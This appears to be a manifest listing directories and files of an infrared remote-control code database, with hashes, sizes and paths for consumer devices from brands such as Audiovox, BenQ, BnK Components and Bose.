+D:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius +F:4b22b3dccf10ab4ed8cafd72ddcf7261:673:infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir +F:17dfc541b8fdbc92366b5481d0d775bc:2294:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir +F:b8e791a8f3ebba07918ad510da6fde63:2002:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir +D:infrared/_CSV-IRDB_/Austar/Cable Box +F:47338cc0b3d0198383e4e7e33158732f:2494:infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir +D:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair +F:e9b374405d7ee3a761b4bb5440ff2008:4498:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir +D:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5 +D:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia +D:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7 +D:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV +F:73fbaeb583facd5cc862e6b0500333b1:2880:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir +F:d005609494d5740c4f70017bb6572865:2973:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir +F:dc2eb433703d738e0addc7b9f00ff8cc:3268:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir +F:41a1f7614dcc813a1435557a72d9a8d7:4220:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir +D:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609 +D:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501 +F:cb2dae2140fbfae0bcc2b4a838ad36e9:1475:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir +F:2a6af82a847ca66647f9dac7ccf4a4fb:2671:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir +D:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch +F:019817ef46058334200991a6ef276d80:871:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir +D:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075 +F:da117da95b18ebc4910c4720307d72f3:3161:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir +D:infrared/_CSV-IRDB_/Axonix/DVD Player +D:infrared/_CSV-IRDB_/Axonix/Media Server +D:infrared/_CSV-IRDB_/Axonix/MediaMax +F:634797cfe1adc001754e725bec0fb306:6351:infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir +F:dd5a842b9a31e6cb6592700c9c2a81aa:3299:infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir +F:b166c1b7c85e4d9cae671132390bbb21:7154:infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir +D:infrared/_CSV-IRDB_/Ayre/Amplifier +F:c4aca0bb69761c811c816f321a087b3c:1887:infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir +D:infrared/_CSV-IRDB_/AzBox/Unknown_S700 +F:9042eda9ff65cd125b021d21fe728652:4108:infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir +D:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier +F:0c00b8a49e85fb865955875f4ed691cc:1262:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir +D:infrared/_CSV-IRDB_/BBK/Unknown_PV400s +D:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn +D:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R +F:bbab1061814c7c5482fb180b793aef69:3126:infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir +F:a2864188906999014a7cea023b2cca6f:4809:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir +F:828ede4e0535c4b486231ebe9833c194:4746:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir +D:infrared/_CSV-IRDB_/BORK/Unknown_DV +F:cc5655150389391cb8c5602fc3aef84e:4758:infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir +D:infrared/_CSV-IRDB_/BTX/Drapery Controller +F:25c5fdac8bee3e689cc2445cd5fc6b8b:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir +F:00d07df9679bcadf8430987184805107:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir +F:4f1a2bc391c7d0ff2ebdac0940fa8044:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir +F:5bafe0454ac9149562763331c9490326:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir +F:17f1754ecf350d8b334dded3dcc7eec0:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir +F:bce0092cb7b4c70bf0e0a94733f10b17:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir +F:30f90f1fd36575282406046d5832fc86:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir +F:74bac0dd46497a7e8b5a9228fae94406:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir +F:12668a2abe720f8c319725c453e186ff:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir +F:1735830f2485aa3664defda9fdd53e7f:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir +F:539edb4bd0658e6c68690c134a9b2bbb:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir +F:91390f5e3670f6e7971f9894fd198722:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir +D:infrared/_CSV-IRDB_/Bang Olufsen/CD Player +F:875e4d1161bd85499ab238f55a47fe83:595:infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir +D:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5 +D:infrared/_CSV-IRDB_/Barco/Video Projector +F:c991c0ff4b94de54f8de7bef2a1a8b04:4752:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir +F:43390ee7ca379eaf79aba5877a712d93:4084:infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir +F:5609678aaf61fbfe59d33a55ad4f5153:3894:infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir +D:infrared/_CSV-IRDB_/Barix/CD Jukebox +F:5f940cf130070857239725ba49010975:2208:infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir +D:infrared/_CSV-IRDB_/Beko/Unknown_Beko +D:infrared/_CSV-IRDB_/Beko/Unknown_TV +F:9660adec3528fb12f6578085387ee80e:2559:infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir +F:f4480300b1790716a4cf12f5252fb080:3229:infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir +D:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019 +F:b58a82d6f0c5cef19e9d0bd8b7788948:1723:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir +D:infrared/_CSV-IRDB_/Bell/Satellite +F:bbc3b3f7328bce64a59346491526147c:3719:infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir +F:04fd8c188a9da968cc8fe0ded9e713a9:2126:infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir +F:47de211af950b33f0f62063f2db76f80:2578:infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir +F:966910e38455341620e9812910c6a63e:1056:infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir +F:63a79ab1b586a2c7a7af9fb743f28d04:780:infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir +F:276e27b9799b8fb112a741e1ecc09ec1:1061:infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir +F:74f4e223e6b010189ebaaae7e58bb3b4:229:infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir +F:2550de447952fc6dfff3a53ed234a6db:126:infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir +F:c0d13394becbd10b659806a48f65946d:504:infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir +F:4cb29c25836c2276d38e3af399578b1a:135:infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir +D:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR +D:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite +F:a281fdc9624251434ff46e6dfeb1b8dc:3329:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir +F:683b69db288338637f9ac7bd39532571:1425:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir +F:fe7132ecec49606078fc231a9033b70e:134:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir +F:3a8f100428e57b66bfba639dc4dd9f0b:126:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir +F:38c22b34694dff8fc69653c31be10ad6:2608:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir +F:cbf3a8dfb3fa97ab665407dc3b315f31:770:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir +F:b787d1864627f51914270ede4d148061:229:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir +D:infrared/_CSV-IRDB_/Bellagio/Unknown_P807 +F:6a035ff55855731c4b04c763b256f46a:4217:infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir +D:infrared/_CSV-IRDB_/BenQ/DLP Projector +D:infrared/_CSV-IRDB_/BenQ/Projector +D:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080 +D:infrared/_CSV-IRDB_/BenQ/Unknown_MP620 +D:infrared/_CSV-IRDB_/BenQ/Unknown_W1070 +F:059f0a63630fc3cf02cd11781591eaa1:1435:infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir +F:2043d9bdd27d440fc74dcaa954f49baa:1986:infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir +F:3be7768604b2648c5876f3cd85590341:223:infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir +F:74db9b16f091432f5e686b852dfb42b5:3738:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir +F:bc1a28271403a60f3a47306840ed4a2f:1589:infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir +F:90172a82557ea54f7e73b5a334c8a338:3480:infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir +D:infrared/_CSV-IRDB_/Bench/Unknown_kh2800 +F:94c345fd42439f4c8bbc74474f359739:2385:infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir +D:infrared/_CSV-IRDB_/Big Ben/Game Console +F:3e315bd3edae3c850eac11a4a92c2682:1512:infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir +D:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900 +F:a8a40350f984937216e3cd004e857f14:3164:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir +D:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp +D:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver +D:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher +D:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver +D:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier +D:infrared/_CSV-IRDB_/BnK_Components/Receiver +D:infrared/_CSV-IRDB_/BnK_Components/Surround Processor +D:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier +D:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2 +F:047fa572035340acb7634f13997b5d67:126:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir +F:4e0e3d2403edd3fa2b6d2dbbd1e7ebb9:8162:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir +F:67a5081a2a00267bf55292075468f1de:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir +F:286a26de281ddf802c6b742aae812b10:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir +F:2201f558b073c8c19d6212328fb8442a:5070:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir +F:d50afb5a8d62a89aa489a101190af051:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir +F:374200825c99687079c773e6106bc514:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir +F:0ff799a410844f2b28264a57e90be62c:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir +F:ec34c41a8e3999ec487b8de1f39517e4:10118:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir +F:62d24cf7049b9839f5a4370b721ffe5c:6914:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir +F:f9f1cc2991dd2f6fde58f8800766c851:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir +F:034aea8a54510e1822067e7e9a25ec07:5957:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir +F:0f79e03ae638b2439e098b9f1824e994:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir +F:c173ace9d2f7c86812f38512e12001f8:4648:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir +F:a6661219c540751b513c5ea69789bc16:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir +F:b8d662b464ce007d8db6851ff3de3915:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir +F:ff838a28b86894f62531f8532b22f83a:3915:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir +F:6c4bd26fa5425faebe7e02bc6920fb42:3384:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir +F:b2b5f1c678790bc93365a1412c4f1908:4852:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir +F:1efb69c3703bddd2991c95ae0224bd94:3005:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir +F:4a628eddc6858a15473c1dc820b093ca:4078:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir +F:286a26de281ddf802c6b742aae812b10:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir +F:0e1d5fd56ef4fee5fd61a4e764fac793:3519:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir +F:806cc1fb9a9df95f614652dfd712fde6:4073:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir +F:b96e13f86376f0edea924dc1584a8652:2866:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir +F:d6d1e90ca528b0d489a252b85649bea9:5161:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir +F:0b7e41a5007b26f24a4fe19cbd69fb01:3474:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir +F:efb25c1da6831b85615fe5a8e288512f:4262:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir +F:519585fed1bf50468b81110a99efb714:3731:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir +F:64f15ee8a59bebb657b12d608db69f40:5287:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir +F:9b3c6f8d69def373324aa9b96b972e10:3213:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir +F:d50afb5a8d62a89aa489a101190af051:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir +F:dca6a6004816713f4b75062a9bdfb317:4156:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir +F:4aa779076dc0b37611818d796fdb799d:614:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir +F:84ef617e049a7bc1c473b3985a17754c:3888:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir +F:5ab25e15957ae777a055a714f13462bd:5759:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir +F:3f9ab8c9dc85abeb4e6cbeb3e13762d6:2875:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir +F:d8b355532ad1ceaf70affe6e12d95d2e:3825:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir +F:a2fda58f6da8a199b3a4196d7b7b7174:4243:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir +F:dae65421b146019835b93bd0f0877837:7958:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir +F:c7c477bfd4a290a5b48db7b6bec3fdfe:9011:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir +F:64a7aaab5df036ff44b7ef8915f9fa67:3122:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir +F:f9f1cc2991dd2f6fde58f8800766c851:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir +F:804486148ce386f2e76c1a87569284e8:3801:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir +F:42f368968ecda67571b5e624506ef62b:3474:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir +F:cfa4ff50c3ac9432474b2ab45d0bfe81:3388:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir +F:77167754c962a6b04372206cee17e168:4760:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir +F:c09c7fcdec67efcce626ef9bc8632eda:1227:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir +F:c173ace9d2f7c86812f38512e12001f8:4648:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir +F:554cdd62fb153bbbe684880c68225c41:3886:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir +F:e6da78dfafc56ab2ad7b2a1e6df966c9:3982:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir +F:fe1f1ec129a39d9f1887927bff9776c2:2861:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir +F:6e656dfd91c08027d448dfc4023af5ab:3705:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir +F:5230005de581cf2032f489d083e79d59:3986:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir +F:c055a025492f3c435dd0cc61e9ed54d4:1314:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir +F:b8d662b464ce007d8db6851ff3de3915:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir +F:7b68304b6d79f2da733b1b8ff3ff3bd0:3704:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir +F:0c816fbe941675cd2afa26c9150eb7b6:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir +F:40a31e9b467018c15ddfddeeaac0c825:5404:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir +F:f587c126704750eb2f5886c84c784f5d:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir +F:1bece46a7635df85a2686ac293d5f3bd:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir +F:2fffd4e1eeb63ff30302b4dac76d5e32:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir +F:cd7bcc0af069093ce3476b0f58817462:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir +F:c7e0f214b093aca18f5a90e51acfba6f:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir +F:be19ddbaeb6f8f0d6e3bdbf47da85011:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir +F:04c9adab4d95c72b6ee04be3ff771dcc:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir +F:8f98dfaf4ac65f30b9c0af8dd01a3ee6:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir +F:c948ba02e2bf647b85023ed1d4369100:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir +F:f722b1b3adf6a28c65108bb917891e10:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir +F:1dc662b8f35c1f4290d6d33ea54101b0:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir +F:5600bf62457162da8bd12d1898abc54d:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir +F:82058688a72a44150a4ef91dd983d753:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir +F:172b7264ce82be5185d41b28ec364414:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir +F:11b23332c40c9b80819dac51219df9e6:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir +F:136c293853cc77a5f61a5690d5fd565f:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir +F:24a4fef369008b740ea00ed7deda3373:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir +F:d58087936b34bc2ab1bc18dba8f072a2:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir +F:3a80bb2dead5ade0c2d78ca701705f67:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir +F:e04c58080b090e5f6c100d3616bd0b7c:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir +F:24dbd1fc6ad6ce0cff9877bc42377b0e:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir +F:a3ea657c835090a1ab9c90a2cae08718:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir +F:01ff06f3c8d375eb047abc2345d3f8fd:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir +F:0e45d55e6a7cda89ff0b5440281afc0a:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir +F:efac5803ee73392394e7168750effd2c:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir +F:77c5421dac1f7594481dd2e3c1ec3c84:5704:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir +F:047fa572035340acb7634f13997b5d67:126:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir +F:776a30297e3b7ef7d3435ca3f57e9c74:8711:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir +F:317d524c4aff6df3024054d12bda1f72:6554:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir +F:92aefe5169e6e4ec35fd808aef06f64b:6467:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir +F:2dd870f8b9bfdcc51b418424a1cf63f5:29767:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir +F:4902c3939e5609c281f0c01f385ad60b:2841:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir +F:1a05403a3eb7476e9040aaba6838d3ee:2748:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir +F:317d524c4aff6df3024054d12bda1f72:6554:infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir +F:92aefe5169e6e4ec35fd808aef06f64b:6467:infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir +F:baded458bea846d66802677c3a7221fa:28449:infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir +F:4a0fbb8537176bcff7e77129a957325c:6760:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir +F:bad0b2b398d5559e70eca76f2cdb40ab:9078:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir +F:317d524c4aff6df3024054d12bda1f72:6554:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir +F:92aefe5169e6e4ec35fd808aef06f64b:6467:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir +F:a4c9a83a0d46b33b43ba437f840c1634:6467:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir +F:620728fd400b550c0d61de37d5b321e1:4185:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir +F:3da0ab7e1cf3532c63a0bfe2d411144e:4185:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir +F:1be455b8da78bc6e7766f641a9b77762:4185:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir +D:infrared/_CSV-IRDB_/Bogen/Amplifier +F:97e146d99ed02962c544a3cdaeaf111d:1952:infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir +D:infrared/_CSV-IRDB_/Bose/3-2-1 +D:infrared/_CSV-IRDB_/Bose/CCF Conversion +D:infrared/_CSV-IRDB_/Bose/Lifestyle +D:infrared/_CSV-IRDB_/Bose/Media Center +D:infrared/_CSV-IRDB_/Bose/Music Center +D:infrared/_CSV-IRDB_/Bose/Receiver +D:infrared/_CSV-IRDB_/Bose/System +D:infrared/_CSV-IRDB_/Bose/Tuner +D:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO +D:infrared/_CSV-IRDB_/Bose/Unknown_Wave +F:88dc76346fbdb32cb9a7643ad18bb410:3685:infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir +F:14715b05fb7343daa6c55ef7ee91a06d:2592:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir +F:e37b86c344f5eec077ae2bc20d51ec13:2793:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir +F:bb46b10a080da9a627dd8fdafec696d2:2592:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir +F:7c2c50dfd41629918e02eab37cfd8c30:6421:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir +F:faaf82ef0e78a1cc19b9e0ac594f6693:4100:infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir +F:312138851ddadbf66fe134ae4e4a6c68:5078:infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir +F:8a451ee33c33c567ab151480656d49af:14194:infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir +F:5f6c806dd4aa047b95206f4fcee51e71:4657:infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir +F:10e9caa915ffbae118e99afa6fb448c7:4749:infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir +F:215a472a905b588be4bf21de4e07c6b9:4649:infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir +F:d99dab79c538cef3d995db0d06a383c9:4657:infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir +F:42320926c0e7144533e8106a72ed1d67:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir +F:b188bca5df19f13d6f1158f6f42221f2:4190:infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir +F:b837ecabdd6a04c5668e59513e69ae16:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir +F:cc123f5b616f0e6041116f05f63cc217:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir +F:9ee9032ddc8e681394de245df8b54579:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir +F:63c50128b3c73f771fddf9ac7b00f71b:4277:infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir +F:f5fede92614437535da1fdcd80c391c2:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir +F:1ef7d6669be80bc25018bd3fbf281ae5:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir +F:459a90a4684923b6023bac0b826a0145:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir +F:782b1f63787a7cbcc367216113e2ea85:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir +F:de996cfbccfbfd93822d6b2afca464cb:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir +F:09e3a744f5812c6e1021a0ed2b5ee187:9046:infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir +F:913a6a491e8f8fba811603fafec740b0:9147:infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir +F:9925387e00f59ba581b3dfa9168a5553:8957:infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir +F:fe25f48411e3ea5ac9bd420af95d4c4c:9046:infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir +F:3259ba6744a8b28f58f91cb488af870c:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir +F:d10ab32da226137b29a442f1878bb76a:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir +F:10290860017ff0f78dc54f942a96052d:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir +F:d992b654389117a40b3480ea653f242f:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir +F:d329d877eaba5a723b82162e8aa8ef85:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir 